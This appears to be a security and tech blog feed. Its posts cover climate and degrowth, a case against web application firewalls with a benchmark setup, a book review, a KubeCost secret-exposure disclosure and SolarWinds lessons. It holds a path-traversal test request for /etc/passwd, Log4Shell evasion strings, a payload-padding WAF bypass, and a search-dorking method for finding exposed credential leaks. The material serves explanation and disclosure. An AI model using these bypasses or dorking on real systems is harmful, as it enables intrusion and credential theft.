Tech and the climate crisis

2025-02-25T00:00:00+00:00

As we leave 2024, we're reckoning with both the fever pitch of AI hype and annual average air temperatures blowing past the critical threshold</a> of +1.5 degrees Celsius which was set by the Paris Agreement</a>1</a>. With both of these happening simultaneously, there's been a lot of concern over the carbon footprint of tech in general and AI specifically:

"Training a single AI model can emit as much carbon as five cars in their lifetimes"</a></li>
"Generative AI is reportedly tripling carbon dioxide emissions from data centers"</a></li>
"AI -- is it efficient? Is it green? Far from it."</a></li> </ul>
Thankfully, I've taken so long to write this post that other people have already put those numbers into perspective, showing that they are essentially a distraction:
- "Your software’s electricity usage may not matter"</a></li>
- "Using ChatGPT is not bad for the environment"</a></li>
- "I don't think that [AI] is significantly shifting the equation on climate change."</a></li>
- Or most succinctly: "AI training models consume energy, an issue that has been exaggerated by high-profile members of the tech pseudo-left. By my calculation, building a large AI model accounts for just ~0.000007% of... worldwide annual carbon emissions in 2023—7 ten millionths of 1%." (from Digital Degrowth by Michael Kwet)</li> </ul>
 But I think two things have been missing from the other posts, which are 1) why the tech industry continues to be conflicted on the subject of sustainability, and 2) what we really should be doing about the climate crisis, which are two things I plan to address in this post.
 Background: Why is the tech industry conflicted about the climate crisis?</h2>
 One of the few positive things about Silicon Valley's influence on the tech industry is the slightly-higher-than-average interest in sustainability. As linked above, I see a lot of people actively participating in discussions and blogs on the subject of sustainability, which is a good thing!
 However, I also see a lot of people in tech becoming too focused on ineffective solutions to the climate crisis such as improving software efficiency 2</a>. Improving software efficiency is fully compatible with the status quo of extractive capitalism that is causing the crisis in the first place. Thanks to induced demand, more efficient software or AI may even result in more usage, which has been happening throughout computing history under Moore's Law</a>. Since tech workers' paychecks are often dependent on the status quo continuing, it's difficult to remain skeptical when faced with comforting lies.
 Let's say you work for an American tech company and you're interested in sustainability. You spend eight hours making a high-traffic website more efficient, which in a typical case 3</a> could save a little under 3 tons of CO2 per year. Nice! You pat yourself on the back.
 During those eight hours, you leave one of 145 million over-sized American homes, get into one of 1.47 billion cars, drive on a few of the 40 million miles of roads that replaced carbon-absorbing forests, sit in your office building cooled by one of 1.5 billion AC units, eat one serving of the 400 million tons of meat consumed annually (which also replaces carbon-absorbing forests). Maybe you say hi to your CEO in the hallway, who commutes in by private jet twice a week</a>. Maybe you personally work remotely, don't fly, eat vegan, etc. but even in 2025 that makes you a rarity. Society at large makes each of those actions difficult; like swimming upstream. Eight hours pass, and the world pumps another 35 million tons of CO2 into the atmosphere. Business as usual continues.
 To me, all these tech companies and workers who talk about how they are "innovative" or "disruptive" are anything but that, since they all carefully color inside the lines of extractive capitalism. Try to take one step over the line into helping people or the planet instead of the bottom line and you'll see what your employer really thinks about innovation and disruption.
 Maybe a few decades ago, we would have time for a slow, comfortable transition to net-zero carbon emissions, where those little acts of sustainability would be welcome. But today, effective solutions for the climate crisis are increasingly incompatible with the status quo. So I think it's time to challenge the tech industry to focus on things that are actually impactful.
 How to critique a movement</h2> Before diving further, I want to make it clear that I don't want to incite horizontal hostility. Horizontal hostility "refers to the phenomenon where individuals or groups... direct criticism, judgment, or antagonism toward one another instead of uniting to challenge systemic oppression</a>". Horizontal hostility is so dangerous to movements that the FBI used it to undermine civil rights movements as part of COINTELPRO</a> to divide and conquer them.
 
 The FBI specifically developed tactics intended to heighten tension and hostility between various factions in the black power movement, for example between the Black Panthers and the US Organization</a>. For instance, the FBI sent a fake letter to the US Organization exposing a supposed Black Panther plot to murder the head of the US Organization, Ron Karenga. They then intensified this by spreading falsely attributed cartoons in the black communities pitting the Black Panther Party against the US Organization. This resulted in numerous deaths [of] San Diego Black Panther Party members... </blockquote>
 At the same time though, movements live and die by their strategy, and fact-based constructive criticism is the best way to develop a strategy, not name-calling and infighting. So I hope this post comes across as more of the former than the latter!
 What is most effective then?</h2>
 There are countless researchers trying to identify and quantify which climate solutions are most impactful. This is a highly complex subject that is rife for manipulation by businesses that don't want to be cast in a negative light.
 This isn't even a conspiracy theory; big businesses have been caught successfully undermining the discourse surrounding the climate crisis in ways that benefits them, from Exxon "emphasizing the uncertainty" of their own climate research in 1989</a> to the meat industry removing mentions of plant-based diets from the IPCC report in 2023</a>, and countless other examples in between. According to leaked documents, many major companies even hire public relations (PR) firms who have developed complex playbooks for destroying movements</a>, including undermining the Nestle boycott, Tobacco regulation, various kinds of environmental movements, and even the movement to boycott Shell for supporting apartheid in South Africa</a>.
 These widespread PR campaigns have captured lots of well-meaning people in their gravity well of misinformation, leading people to get stuck on solutions like zero waste (but not zero consumption), paper/metal straws, recycling, electric cars, and energy efficiency (on the micro scale). Companies who push these "demand-side" solutions are participating in greenwashing</a> since many major sources of pollution are systemic. But it's also incorrect to say there's nothing we can do individually. Most Americans drastically underestimate</a> the carbon impact of many things they can control, like 94% not realizing eating a vegan diet is one of the most impactful things you can do personally.
 So what is most effective? I hope you see now that it's complicated. While researching for this post, I've started graduating from "not knowing what I don't know" to "knowing what I don't know" about climate science. It's not as simple as adding and subtracting carbon emissions and sinks. Thankfully, climate scientists have worked hard to produce lists of solutions that are designed for communicating with the general public. I've included two well-respected lists of solutions below:
 
 The IPCC's list of most cost-effective solutions</a>
 
 I recommend studying this diagram for several minutes since it's very dense but also very informative. Note that the bar chart size is heavily dependent on how each bar is grouped, so try mentally regrouping each category to see how the conclusion changes.</li>
 Remember that the IPCC's solutions are considered to be more conservative, and countries have already been caught manipulating the wording to deprioritize things like plant-based diets and climate financing.</li> </ul> </li>
 Project Drawdown's table of solutions</a>
 
 I think this list is a bit more honest, but some more radical solutions are still missing.</li>
 This list also depends a lot on grouping. For example, the effectiveness of "Reduced Food Waste" depends a lot on the assumption that most food is not plant-based and thus very expensive to waste.</li> </ul> </li> </ul>
 Looking at the IPCC's list, it's easy to see that paying a bunch of expensive tech workers to shave a few percentage points off of 0.6% of global emissions 5</a> is just not that cost effective compared to alternative options such as switching to carbon-free energy sources, reducing the "conversion of natural ecosystems" (largely for meat production) or shifting to plant-based diets</a>.
 Looking at Project Drawdown's list, there's a lot of focus on project-based solutions rather than policy-based solutions. For example, there's an "Efficient Aviation" solution which proposes spending trillions on 13% more efficient fuel, but there's no "Ban Excessive Air Travel</a>" solution which is basically free.
 Both lists emphasize "synergies" or "co-benefits", where the climate solution also has social benefits such as the UN's Sustainable Development Goals</a> which include things like the elimination of poverty, hunger, and inequality, which can make some solutions more compelling.
 Overall, the hard work of quantifying the solutions has been done already. As Project Drawdown says, "Viable climate solutions have been like orchestra members lacking a conductor." We just have to educate ourselves and mobilize rather than getting caught up in the greenwashing and corporate PR.
 Noticing a pattern</h2>
 You may start to notice a pattern with the way I'm discussing effective solutions for the climate crisis. When you combine facts like tech workers supporting the status quo, nefarious PR firms, and the IPCC caving to businesses, these are signs pointing to a need for degrowth</a>.
 Degrowth is an economic theory where gross domestic product (GDP) isn't used as the main way to measure success, since infinite growth on a finite planet is not possible. "Degrowth is a purposeful strategy to stabilize economies and achieve social and ecological goals, unlike recession, which is chaotic and socially destabilizing and occurs when growth-dependent economies fail to grow."
 I originally hestitated to use the term degrowth in this post since it is quite a broad term, but perhaps a broad term is best for such a broad topic. To me, degrowth acknowledges the reality that the climate crisis exists in a broad social and political context, not just a scientific context. An apolitical climate movement is an ineffective movement. No amount of scary-looking graphs will dismantle a system of power that is as powerful and as entrenched as extractive, exploitative capitalism.
 One weakness of the concept of degrowth in my opinion is that it's a nice end goal but it's missing some important steps along the way. Step one is essentially "take power away from the powerful" which already seems impossible.
 The way I look at it, having that clear end goal is step zero. It's a shared lens through which we can all look at the world, from guiding the discourse, to avoiding misinformation, and to assessing the effectiveness of climate solutions. The climate crisis cannot be averted without collective action, and we cannot act collectively unless we realize we have the same goals.
 On that note, get involved with your local community! Open your favorite search engine and type something like "mutual aid groups near me". Hope to see you there!
 
 1 ⤴</a>: Technically the "real" threshold is based on 20 year temperature averages which we haven't hit yet, but the linked article explains that having 12 consecutive months of above 1.5C has some models showing an 80% probability that we've already passed the threshold. IMO, the exact thresholds are unimportant. We're still emitting waaaay too much carbon waaaay too quickly with no end in sight.
 2 ⤴</a>: Honorable mention to Itamar</a> who is one of the few people who can intelligently talk about software efficiency while keeping it contextualized alongside actually-effective solutions like activism</a>.
 3 ⤴</a>: Software engineers often conflate efficiency with climate-consciousness without knowing the real impact. A reasonable example of that would be optimizing a website to take 100ms instead of 200ms per request. Let's say this website handles 1,500 requests per second (about one tenth of the global backend request rate for Wikipedia</a>). Every year, you save 150 years of HTTP request processing time, which I'd roughly estimate to be 2754 kg CO2e 4</a>. However, it's likely that induced demand</a> would happen, negating many of the benefits in most situations except for a few areas</a>.
 4 ⤴</a>: It's hard to convert compute time into CO2 because you can't simply multiply by the average power usage of a computer (which also varies drastically based on the type of computer, location, and even time of day). You really need the amount of power used to process HTTP requests multiplied by the time spent NOT processing those requests. I used CodeCarbon</a> with Python's builtin http.server</code> and oha</code></a> on my M2 Macbook Pro for 60 seconds. Then I ran it again without running oha</code> to find the idle usage. 33.86 - 15.5 = 18.36</code> kg CO2eq/year of emissions for both the client and the server. Perhaps the combination of the inefficient Python server and my energy-efficient laptop balances out this benchmark.
 5⤴</a>: This is the total emissions from data centers according to a 2020 paper</a>. Which I believe is an over-estimate. They estimated the global energy consumption from data centers and multiplied that by 0.6 kg CO2e/kWh, a number which came from a 2015 study. In 2023, Google estimates</a> their data center emissions per kWh are 3.4 MtCO2e / 25.3 tWh = 0.134 kg CO2e/kWh</code> which is about 4.5 times lower. </aside>

Stop deploying web application firewalls

2023-11-11T00:00:00+00:00

I wanted to write this because I don't hear enough real people discouraging the use of Web Application Firewalls (WAFs). Probably because the search results for "Web Application Firewall" are all written by WAF vendors. Anyone reading just that could conclude that WAFs are a good idea. I'm here to offer another perspective, after having suffered through using a WAF for two years.

Web Application Firewalls were created early in the Internet's history, especially popularized by the ModSecurity project in 2002</a>. WAFs essentially work by intercepting every single HTTP request (and sometimes responses too) and evaluating several hundred regular expressions over the URI, headers, and body, sometimes aided by machine learning. If the request kinda looks like SQL, shell code, etc., the server may block your request.

In the infancy of the cybersecurity field, WAFs seemed like a good idea. HTTP requests were tiny, infrequent, and mostly contained mundane form data. But today, WAFs have overstayed their welcome in the security toolbelt. There are better techniques you can use that make even the most advanced WAFs entirely obsolete.

Disclaimer update 2024: In this article, I'm objecting to using WAFs for their original purpose which was to mitigate common exploits like remote code execution, SQL injection, etc. With the rise of DDoS attacks, some cloud WAFs such as AWS WAFv2 or Cloudflare's WAF are now the recommended way of implementing rate limits or fingerprinting and blocking denial of service attacks, which is a use-case I fully support. </blockquote>

WAFs have Horrible Performance</h2>

Since WAFs run hundreds of regular expressions on every request, you may ask, "isn't that super inefficient?" Yes, very.

</th>	WAF</th>	No WAF</th></tr></thead>
Average time taken to upload 9,462 text files</td>	7.36</td>	4.55</td></tr>
Average requests per second</td>	1285</td>	2079</td></tr>
Number of requests blocked erroneously</td>	5</td>	0</td></tr>
Peak nginx CPU during trial</td>	73%</td>	8%</td></tr> </tbody></table> Specifics about the benchmark</em> </summary> The easiest way I know to get modsecurity + CoreRuleSet installed is through ingress-nginx, which I've installed in a Kind cluster. # https://kind.sigs.k8s.io/docs/user/quick-start/ </span>cat </span><<</span>EOF </span>\| </span>kind</span> create cluster</span> --config</span>=- </span>kind: Cluster </span>apiVersion: kind.x-k8s.io/v1alpha4 </span>nodes: </span>- role: control-plane </span> extraPortMappings: </span> - containerPort: 32080 </span> hostPort: 32080 </span> protocol: TCP </span> - containerPort: 32443 </span> hostPort: 32443 </span> protocol: TCP </span>EOF </span> </span># https://kubernetes.github.io/ingress-nginx/user-guide/third-party-addons/modsecurity/ </span>helm</span> upgrade</span> --install</span> ingress-nginx ingress-nginx \ </span> --repo</span> https://kubernetes.github.io/ingress-nginx \ </span> --namespace</span> ingress-nginx</span> --create-namespace </span>\ </span> --set</span> controller.service.type=NodePort \ </span> --set</span> controller.service.nodePorts.https=32443 \ </span> --set</span> controller.service.nodePorts.http=32080 \ </span> --set</span> controller.ingressClassResource.default=true \ </span> --set</span> controller.allowSnippetAnnotations=true </span></code></pre> For the test, I'll be uploading files to MinIO using these values:</p> replicas</span>: </span>1 </span>mode</span>: </span>standalone </span>resources</span>: </span> </span>requests</span>: </span> </span>memory</span>: </span>512Mi </span>persistence</span>: </span> </span>enabled</span>: </span>false </span>rootUser</span>: </span>rootuser </span>rootPassword</span>: </span>rootpass123 </span>buckets</span>: </span> - </span>name</span>: </span>bucket1 </span> </span>policy</span>: </span>none </span> </span>purge</span>: </span>false </span>ingress</span>: </span> </span>enabled</span>: </span>true </span> </span>hosts</span>: [</span>minio-waf.localhost</span>] </span> </span>annotations</span>: </span> </span>nginx.ingress.kubernetes.io/enable-modsecurity</span>: "</span>true</span>" </span> </span>nginx.ingress.kubernetes.io/enable-owasp-core-rules</span>: "</span>true</span>" </span> </span>nginx.ingress.kubernetes.io/modsecurity-snippet</span>: </span>\| </span> Include /etc/nginx/owasp-modsecurity-crs/nginx-modsecurity.conf </span> SecRuleEngine On </span> # Even the core rules are ridiculous, blocking PUT requests, certain content-types, or any body with "options" in it </span> SecRuleRemoveById 911100 920420 921110 </span></code></pre> helm</span> upgrade</span> --install</span> minio minio/minio</span> -f</span> values.yaml</span> -n</span> minio</span> --create-namespace </span>helm</span> upgrade</span> --install</span> minio-waf minio/minio</span> -f</span> values-waf.yaml</span> -n</span> minio-waf</span> --create-namespace </span># Verify the WAF is working (should get a 403) </span>curl </span>'</span>http://minio-waf.localhost:32080/?q=../../etc/passwd</span>' </span></code></pre> We'll be uploading just the "Documentation" folder of the v6.6 Linux Kernel, which contains 9462 files for a total of 65MB.</p> curl -LO</span> https://github.com/torvalds/linux/archive/refs/tags/v6.6.zip </span>unzip</span> v6.6.zip '</span>linux-6.6/Documentation/</span>' </span></code></pre> Configure the minio client:</p> # You may need to add these hosts to /etc/hosts </span>export </span>MC_HOST_nowaf</span>='</span>http://rootuser:rootpass123@minio.localhost:32080</span>' </span>export </span>MC_HOST_waf</span>='</span>http://rootuser:rootpass123@minio-waf.localhost:32080</span>' </span></code></pre> Run the benchmark (5 times each):</p> time</span> mc cp</span> -r</span> linux-6.6/Documentation/ waf/bucket1/ </span>time</span> mc cp</span> -r</span> linux-6.6/Documentation/ nowaf/bucket1/ </span></code></pre> </details> In addition to slowing down every request, you also need significant additional RAM for buffering requests. Since not a single byte in the buffer can be flushed to the backend server until the WAF completes its analysis, you need several gigabytes of RAM to store request bodies. Servers like nginx buffer requests by default, but enough large concurrent requests (like pushing a container image) can make a buffering web server run out of RAM. When using a WAF, every server becomes a buffering web server, which is simply incompatible with many types of applications.</p> I know computers are fast and hardware is cheap, but we shouldn't be spending that kind of CPU and RAM on WAFs unless they're a really effective security tool. But they aren't, as you'll see next.</p> WAFs are Easily Bypassed</h2> WAF vendors and attackers are locked in a constant arms race, but it seems attackers are much better armed</a>. How could they not be? Many of the attacks that a WAF purports to block involve complex grammars like SQL, shell code, and entire programming languages. They often include comments, character escaping, encoding issues, and more oddities. These oddities mean that attackers always have a significant advantage and can typically bypass any WAF rule if they are clever enough.</p> For example, you might think Log4shell</a> is pretty easy to catch: just check for ${jndi</code>, right? Unfortunately, Log4J supports nested "lookups</a>", including ones that convert letters to upper/lower case like ${lower:J}</code></p> That means an attacker can insert an arbitrary number of nested lookups around each letter and still perform the attack, like this: ${${lower:J}ndi:...</code>. This lead CloudFlare to say "WAF vendors need to be looking at any occurrence of ${</code> and treating it as suspicious"</a>, which is just another hilarious example of how WAFs can never live up to the expectations placed on them.</p> I just discussed the fairly simple grammar that is Log4J Lookups, but you can imagine how many more evasion tactics you could use in a language as complex as SQL or PHP, especially when considering encoding tricks. For an in-depth description of specific WAF bypass techniques, check out this awesome post</a>.</p> Another way to bypass a WAF involves just padding your attack string to appear >8KB or so</a> into the request body. Like I mentioned in the section on performance, request bodies must be buffered into RAM for analysis, so WAFs must choose some cut-off point to avoid spending infinite CPU and RAM on a single request. For some WAFs like AWS's, that cutoff point is around 8KB. So if you just put 8192 innocuous characters before your Log4Shell attack string, you've rendered the WAF worthless.</p> WAFs are an Attack Vector</h2> In 2019, CapitalOne experienced a breach of 100 million credit applications that was allegedly caused by a WAF misconfiguration</a>. The attacker allegedly tricked the WAF into sending requests to the EC2 Metadata Service, which handed out a credential that allowed reading sensitive files from S3.</p> While this is just one example, it illustrates the curious fact that WAFs actually have a large attack surface.</p> Most WAFs are giant, complex codebases that are usually closed-source and written in memory-unsafe languages. Since they're expensive "enterprise" products, companies stuff them full of unnecessary features to make them stand out more than competitors. All of this adds up to make WAFs yet another example of a dangerous "security" tool, just like SolarWinds</a>.</p> No security officer would approve taking such a risky piece of software, putting it directly on the internet, making it parse mountains of untrusted input, and giving it access to all your backend servers, logging infra, SIEM, alerting systems, and even JIRA for some reason</a> UNLESS it's covered in security buzzwords and costs 5-6 figures per year.</p> Somehow, companies that sell security products have gotten a pass on implementing foundational security principles like secure by default, secure by design, attack surface reduction, and the principle of least privilege. Don't let them keep getting away with that.</p> WAFs have a High False Positive Rate</h2> Over the last twenty years, open-source WAF rulesets have expanded considerably to detect more-recent types of attack. Apparently all those proprietary WAFs are doing the same. That means there are more and more possible strings that could trigger a WAF to block your request. If you want to write a comment on an article discussing Log4shell, you might be blocked for including the string ${jndi</code> in your comment. So naturally the false positive rate continues to rise with every new rule, and it's already quite high based on my experience maintaining a giant list of ModSecurity rule exceptions.</p> So-called "next-generation" WAFs claim to solve this problem by looking at multiple requests</a> or by using IP reputation systems</a>. While these can improve false positive rates, they can never truly solve the problem. In some ways, less false positives can increase the impact of particular false positives since neither users nor support teams have a clear procedure for fixing it. CloudFlare's algorithm can randomly decide to block you and you will have no recourse</a>. Imagine that happening to someone less tech-savvy.</p> This is the classic problem with using an outdated security tool like a WAF: defenders have to configure the tool absolutely perfectly to be safe and avoid false positives, but attackers just need to find a single weakness. Those are horrible odds. You should use alternatives that don't require perfection from imperfect humans.</p> Alternatives to WAFs</h2> Since WAFs are resource-hungry, inneffective, unsafe, and noisy, how do I convince an auditor to not make me use one? The technical term would be to use "compensating controls", but that sounds like such a weak term to describe the powerful and simple alternatives to WAFs I'm about to describe:</p> Isolation:</strong> Isolation involves ensuring that a breach in one component can not affect the rest of the system, and there are many technologies that provide isolation. Browsers do this by executing all code inside special sandboxed processes that don't have carte blanch access to cookies, saved passwords, other tabs, etc. Imagine how slow the web would be if every piece of JavaScript needed to be analyzed by hundreds of regexes before being executed!</li> Microservices are designed with isolation in mind, but you can also do it in a monolith with a variety of libraries and languages</a>.</li> </ul> </li> Immutability:</strong> Entire classes of attack can be eliminated by removing a few assumptions, like having a readOnlyRootFilesystem</a>, a package manager that requires rebooting</a>, or append-only/immutable backups</a>.</li> Static Analysis:</strong> SQL injection has a miracle cure called "prepared statements". The problem is that devs forget to use them. Static analysis checks in a CI pipeline can all but ensure that zero SQL injection vulnerabilities are in your codebase, at which point there is no need for any SQL injection WAF rules. No, "defense in depth" is not a valid excuse to use a WAF anyway, because it provides no real defense! Like surrounding Fort Knox with an army of guard guinea pigs.</li> Capability-based security:</strong> Not every API endpoint needs to have unrestricted read/write access to your entire database and file system, but that is the normal way people build APIs today. By using capabilities, you can express exactly that "GET /api/v1/books" only needs read access to the "books" table. Or that "POST /api/v1/imageupload" needs write access to a specific folder, but doesn't need the ability to spawn processes.</li> </ul> Now I'll admit these ideas are quite broad; you'll need to adapt them to your particular app. WAF vendors offer a one-WAF-fits-all fantasy that I can't match. But these secure-by-design strategies are the way that the security industry needs to be heading. Unfortunately, it's a lot harder for the security industry to profit off of design-based techniques, so don't hold your breath.</p> Book Review: Security Chaos Engineering 2023-08-03T00:00:00+00:00 I recently picked up a few books to read, and Security Chaos Engineering</a></em> engrossed me so significantly that it 1) made me read the whole thing and 2) made me want to write about it too!</p> If you just want a taste of the book, check out the primary author Kelly Shortridge's blog</a>. Her unique writing style is quite fun to read.</p> My interpretation of the book was that it is the InfoSec world's equivalent of the Ninety-five Theses</em>, pointing out the various ways that the security practices of the past and present have failed us all. Since these failures are so normalized, it's impressive seeing Shortridge traverse the entire org chart and tech stack, pointing out all the pain points I've always felt, but never thought too much about. The chaos engineering stuff plays a minor role, more just a natural conclusion from the radical idea (/s) that we should not just assume things about the security of our systems; we should test them.</p> The way I interpreted the book is informed by my own background in tech, which I would describe as "software engineer turned DevOps person, with a healthy interest in security". That "healthy interest in security" is the dangerous part, because I know just enough to be frustrated at the state of the security industry, but not enough to personally do anything about it. A book like SCE</em> makes me start to think that maybe that frustration isn't unfounded.</p> I took away two super key points that I think warrant me re-iterating them here in my own words, just to get the message out.</p> Point 1: Resilience over robustness</h2> Much time and energy has been poured into security practices that restrict, block, and control. This has largely been viewed as a necessary evil of security, but it's not nearly as necessary as many security people would lead you to believe.</p> SCE</em> explains this by making a distinction between resilience (adapting around attacks) and robustness (trying to stop attacks). The classic example from Aesop's fable is how a robust oak tree stands in proud resistance against the wind, but it ultimately falls while the resilient reeds flex and bend.</p> A good example is a Web Application Firewall (WAF), which runs thousands of regexes on every HTTP request to block requests that like look like they contain SQL queries or shell commands. As you can imagine, they aren't good at their job</a>, causing many false positives, slowing down websites, and still being easily circumventable by attackers. That doesn't stop infosec teams from requiring you to use WAFs, unfortunately. A WAF gives you robustness, not resilience.</p> Resilience would involve securing your websites "by design", like using static analysis to prevent passing user-controlled input into shell commands or to enforce the use of prepared statements. Choosing resilience would also mean taking all that time you save in chasing down false-positives and investing it planning for the eventuality that an attacker bypasses your defenses anyway. That could mean doing drills, double-checking backup procedures, and monitoring/learning from past incidents.</p> Point 2: Your security team should be more like platform engineers</h2> To state the obvious, securing a server, laptop, or a piece of software is hard. It requires a unique skill-set that not everyone in your organization possesses. Why then do we expect them to know as much, care as much, and do as much about security as a CISO?</p> Platform engineering grew out of a parallel problem: that software has become so complex to deploy and operate that it requires a dedicated subfield. But merely creating separate "dev" and "ops" teams creates bad outcomes, since "ops" tends to gatekeep the "devs" and neither team is motivated to cooperate with each other. Platform engineering re-balances the power held by "ops" by forcing it to serve the interests of the "devs". Devs are the customers for whom the "platform" is the product being sold. No one will buy a hard-to-use, featureless, unstable product (well unless you have name recognition...). Thus the platform engineering team has to create tools and libraries that the devs will want</em> to use.</p> Likewise, SCE</em> extols the benefits of applying those same principles to your security team. Rather than letting them be the disinterested gatekeepers that they typically are, make them serve the organization by running them like a platform engineering team. They should be building and choosing security tools that the organization will want</em> to use, rather than taking some twisted pleasure in forcing through increasingly onerous policies.</p> Without that drive to serve the organization, security teams often build up a hostile relationship with their own organizations (which itself is a security risk!).</p> As if pizza can solve a deep-seated structural issue such as this...</em></figcaption> </figure> CEOs are torn between investing more in the very-real threats of cyber attacks, but not wanting to sacrifice the efficacy of their organization in the process. Traditional security teams cause that dilemma, but a platform engineering security team would make it go away. As long as executives merely think</em> that dilemma exists, cybersecurity will never get the amount of attention it needs.</p> I don't think it's a coincidence that the skills required to be on a security platform engineering team are nothing like the skills you learn in your average InfoSec MBA program. You'd need something more similar to software engineering skills, which means the resulting security tools are better quality (not just some "enterprise" monitoring agent that says the right buzzwords) and communication is easier (none of those incomprehensible compliance checklists).</p> Conclusion</h2> My one complaint with the book is that it feels a bit more aspirational than practical. But damn if it doesn't sound like an amazingly promising aspiration: a security industry that achieves real</em> security, and they actually help you get there.</p> Seeing the book point out all the obvious (in hindsight) ways that the security status quo is ineffective almost makes me fear working in the cybersecurity field. How come all the people in power in the cybersecurity field can't see this mess they've created? If I joined them, would I be forced to keep propping up this status quo? I hope one day soon that the cybersecurity industry starts doing the one thing they can't stand: change.</p> Obtaining database passwords from a billion-dollar company 2023-06-06T00:00:00+00:00 This is a story about how in 2021, I discovered a vulnerability affecting an unnamed billion-dollar company and disclosed it to them, earning my largest bug bounty ever!</p> Accidental Discovery</h2> At first, I was just doing some work on kubecost</a>, a Kubernetes tool which estimates costs for running pods. The first thing that caught my security eye was that by default, when you install kubecost, it captures your HELM_VALUES</a> in an environment variable which they use to help their enterprise users debug problems. This set off alarm bells since Helm values are typically how secrets are passed into applications, such as API keys for Kubecost itself and Grafana passwords.</p> I immediately disabled HELM_VALUES for my own kubecost instance, but now I had my security hat on. While doing unrelated work with my dev tools open, I saw kubecost perform an API request for /api/allPods</code>, which happened to be running a little slow (as you can imagine with ~500+ pods). Investigating the response, I saw that it returned ALL of the information about pods, including their environment variables! And this API is callable by unauthenticated users.</p> It's bad practice to directly use Pod environment variables for secrets (you should use Secrets, which are secure enough</a>). But since the HELM_VALUES environment variable exists, this /api/allPods</code> API can be used to obtain at least one or two secrets from KubeCost itself.</p> At this point, I began writing up a report about the issue to the KubeCost team.</p> Thinking like an attacker</h2> While writing the report, I wanted to make sure they would understand the severity of exposing environment variables. Alas, the users of the cluster I administrate are smart and none of them had any secrets in environment variables :)</p> I remembered a lesson from my security class in college about "google hacking</a>", or just searching for specific strings in Google to find vulnerable servers.</p> (Un)fortunately, KubeCost's splash page includes enough unique text that I could locate exposed KubeCost instances with a simple Google search. Also (un)fortunately, KubeCost's splash page tells you right away the total estimated monthly cost for a given cluster, which lets you pick a nice juicy target that's burning $20k/month or more of cloud credits.</p> Only one of the clusters had an identifiable owner, and it happened to be the biggest one, owned by a company with a multi-billion-dollar market cap. I opened up the exposed KubeCost page and went straight to /api/allPods</code> and my adrenaline immediately spiked. There were more than 200 passwords (including RDS, Twilio, Google, and Huawei keys) sitting right in front of me, two clicks away from the Google search results.</p> (here's where I'd put the redacted screenshot if security researchers had legal immunity for responsible disclosure, which we should have)</p> The cluster name included mentions of gig economy workers so presumably an attacker could have used those keys to steal data from their ~2 million workers.</p> Disclosure</h2> Now that I had a handy Google search link that shows the gravity of the KubeCost bug (exposing environment variables), that made writing my KubeCost disclosure easy. I didn't mention the company in my KubeCost disclosure, of course. The fix was implemented after about 2 months (delayed due to KubeCon).</p> The company has a private bounty program on BugCrowd, where I also filed a report. The affected KubeCost instance was taken down within 3 days and they began rotating API keys.</p> For my troubles, the KubeCost folks sent me not one but TWO free t-shirts and the billion-dollar company gave me nothing. This has been my biggest bounty so far! Even larger than my other payout of ONE free t-shirt, which I'll write about later. They are good t-shirts to be fair.</p> The company ghosted me when I requested disclosure, so I'm not mentioning the company name due to BugCrowd rules</a> that may or may not be legally enforceable. Couldn't even afford to be paid in exposure I guess :)</p> Takeaways</h2> Don't store Kubernetes secrets in environment variables. Use Secrets</a>, which generally have tighter RBAC rules around them.</li> Don't capture Helm values at install time, they frequently contain secrets.</li> Let's all stop selling products that are free, but they don't provide authentication unless you pay. Security should be the default, not an upgrade.</li> Be very careful about sites that could possibly by indexed by a search engine, due to the risk of "Google Hacking"</li> Responsible disclosure is good for victims, and public disclosure is good for future victims.</li> </ul> We've learned nothing from the SolarWinds hack 2023-05-21T00:00:00+00:00 Back in 2020, A Russian state-sponsored group got into SolarWinds' build system and inserted command and control (c2) code into a routine software update for a network monitoring tool called Orion (wiki link</a>). It was all over the news, and for good reason given the extent of the breach (into particularly sensitive parts of the US government) and the lengthy recovery process which will likely take years</a>. Given its high profile, I'm shocked to report that I feel very little has been learned from that attack.</p> To me, the hack was a wake-up call about how the way we install and run software is insecure by design and needs a rework, maybe using capabilities-based security</a>. But all I hear about is a bunch of solutions that kinda miss the point. Let's go over all of those first.</p> "We should sign and verify all our dependencies"</h2> In the wake of the SolarWinds hack, interest in "securing the software supply chain" grew considerably, including a May 2021 executive order</a> telling NIST/CISA to develop some guidelines about the subject. The Supply-chain Levels for Software Artifacts (SLSA)</a> framework also launched that same year and has been steadily growing in popularity.</p> Don't get me wrong: I appreciate the extra interest in this area. However, the fact remains that malicious code can be signed and verified too, depending on how deeply in the supply chain the attackers are. And they can get pretty deep with state-sponsored cyber criminal skills. Anything could happen in the background of your CI worker (or your laptop) between when you execute git checkout <tag></code> and make</code>. Any checksums you generate or check can be modified right before you check them. Or maybe your /usr/local/bin/sha256sum</code> has been tampered with. The list goes on.</p> When we're talking about getting all major open source projects (which have little to no funding) to add enough security to resist nation-states (which have plenty of funding), the math simply doesn't add it.</p> "We should disable automatic updates"</h2> Automatic updates are a tradeoff, I'll grant that. You are trusting a vendor to not ship a bad update in exchange for getting security fixes ASAP. However, just think for half a second about how the SolarWinds hack worked. The attackers snuck some code into an opaque, propriety, binary blob that lied dormant for 12-14 days</a> before doing anything strange</em>. There is absolutely no way we can perform a full binary analysis of every new version of every binary blob that powers modern IT.</p> Automating updates are generally recommended because it "helps to ensure the timeliness and completeness of system patching operations", as mentioned in NIST 800-53§3.19</a>. If you do have the time for manual reviews AND audits that the manual updates have been applied, that's preferable, but obviously that takes a lot of time. For everything else, automation keeps you safer. The SolarWinds hack changed nothing about that calculus.</p> "We should deploy another agent to detect these kinds of hacks"</h2> This idea pre-dates the SolarWinds hack, but it's still around in full force. Many security standards recommend or even require a Security Information Event Management (SIEM)</a> system. Maybe you'd like to deploy SolarWinds' own SIEM product</a>? It should be obvious that installing yet-another highly-privileged agent on all your servers is the exact reason why the SolarWinds hack was as devastating as it was. I appreciate the thought that goes into e.g. DataDog's agent build process</a>, but DataDog's agent still runs without any kind of systemd sandboxing</a>, which gives it more permissions than it needs. It's one bad world-readable SUID file away from a full takeover, which is just one of many local privilege escalation routes</a> that exist on Linux.</p> Having visibility into your own network is a good idea, but vendors rarely care to follow the principle of least privilege, frequently just demanding full root access (like for Nessus compliance scans</a> which are entirely read-only). If you need to stop supply chain attacks, more privileged agents will just significantly broaden your exposure to supply chain attacks.</p> The Inconvenient Truth about how to actually fix this</h2> Reading through some of NIST's guidance</a> hints at the real problem in my opinion: "many third-party software products require privileged access". This is an "insecure by design" problem. NIST continues: "Even when a product can effectively operate on a network with reduced privileges, products will oftentimes default to asking for greater privileges during installation to ensure the product’s maximum effectiveness across different types of customer networks. Customers often accept third-party software defaults without investigating further, 